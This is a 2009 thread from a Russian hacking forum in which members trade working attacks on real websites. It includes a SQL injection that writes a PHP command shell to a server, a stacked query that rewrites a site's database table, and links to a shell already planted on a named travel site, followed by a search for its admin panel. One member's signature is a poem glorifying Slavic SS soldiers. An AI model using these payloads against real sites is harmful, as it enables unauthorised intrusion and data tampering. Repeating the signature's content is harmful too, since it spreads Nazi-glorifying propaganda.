ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10501  
Старый 01.12.2009, 16:28
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Цитата:
Сообщение от p.r0phe.t  
http://site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/kvartira.ru/shell.php'/*
уматно сайт спрятал =))
kvartira.ru -это не настоящее имя сайта))))
сайт спрятал более менее надежно... ато турки сам знаеш)))
 
Ответить с цитированием

  #10502  
Старый 01.12.2009, 16:31
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

Цитата:
Сообщение от 547  
kvartira.ru -это не настоящее имя сайта))))
сайт спрятал более менее надежно... ато турки сам знаеш)))
Поищи папки на запись и не думай что когда выполниш запрос то у тебя не вылезит какая нить ошибка, то есть ошибка может и вылезит, но файл создаться, но как я понял ты его прямо в корень сайта пихаеш, поищи папку с картинками
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #10503  
Старый 01.12.2009, 16:34
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Цитата:
Сообщение от l1ght  
блин, а я сижу, раскручиваю
kvartira.ru/xml/list_flats.php?id=195&lang=ru';update+flats_s+set+ nrooms='0'+where+1=1;select+'1&sq_all=&rooms=&pr_d oll_min=1&pr_doll_max=&live=&unlive=1
ты вчера помог! тебе могу настоящее имя кинуть в лс))) только в паблик сразу некидай...
 
Ответить с цитированием

  #10504  
Старый 01.12.2009, 16:37
p.r0phe.t
Познающий
Регистрация: 22.08.2009
Сообщений: 98
Провел на форуме:
224604

Репутация: 19
По умолчанию

Цитата:
Сообщение от HAXTA4OK  
По соображениям Light'a выложу))
http://www.terratour.ru/ru/img/2.php?a=phpinfo();
так где там админка не запороленая? =)
 
Ответить с цитированием

  #10505  
Старый 01.12.2009, 16:43
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

Цитата:
Сообщение от p.r0phe.t  
так где там админка не запороленая? =)
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать?
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #10506  
Старый 01.12.2009, 16:46
p.r0phe.t
Познающий
Регистрация: 22.08.2009
Сообщений: 98
Провел на форуме:
224604

Репутация: 19
По умолчанию

Цитата:
Сообщение от HAXTA4OK  
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать?
хм.
/ru/admin
/em/admin
не открывает ,хотя маднет кричит что они есть =)
а как ни странно
en/admin,которой в маднете нет, выдаёт окно для ввода логина/паса,но она запаролена

просвети,буду уметь работать )
 
Ответить с цитированием

  #10507  
Старый 01.12.2009, 16:47
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Цитата:
Сообщение от HAXTA4OK  
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать?
ну вот админка но она запаролена...
http://www.terratour.ru/ru/login/login.php
 
Ответить с цитированием

  #10508  
Старый 01.12.2009, 16:47
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Я что-то не пойму, РОА заняться нечем что-ли? В правилах темы написано по русски что шеллы в паблике запрещены, мы их долго тереть будем?
 
Ответить с цитированием

  #10509  
Старый 01.12.2009, 17:32
Totgeliebt
Познающий
Регистрация: 20.10.2009
Сообщений: 38
Провел на форуме:
125847

Репутация: 5
По умолчанию

Фото альбомы > >



Дата: 01.01.1970
Добавлено:
Размер: x пикселов

Warning: filesize() [function.filesize]: stat failed for images/photoalbum/album_/ in /home/gamer/public_html/photogallery.php on line 68
Рахмер файла: Bytes
Комментариев: 0
Рейтинг: Пусто
Количество просмотров:
Посмотрите есть тут что плз
P.S Ногами не пинать, я чайничек)
 
Ответить с цитированием

  #10510  
Старый 01.12.2009, 17:53
wkar
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165

Репутация: 11
По умолчанию

Залил на сайт шелл, но доступ к индексу и другим файлам не имею,то есть не могу удалить,редак. и др. чмод 666, меняю на 777 - не меняется, помогите пж.



спс.

Последний раз редактировалось wkar; 01.12.2009 в 18:04..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ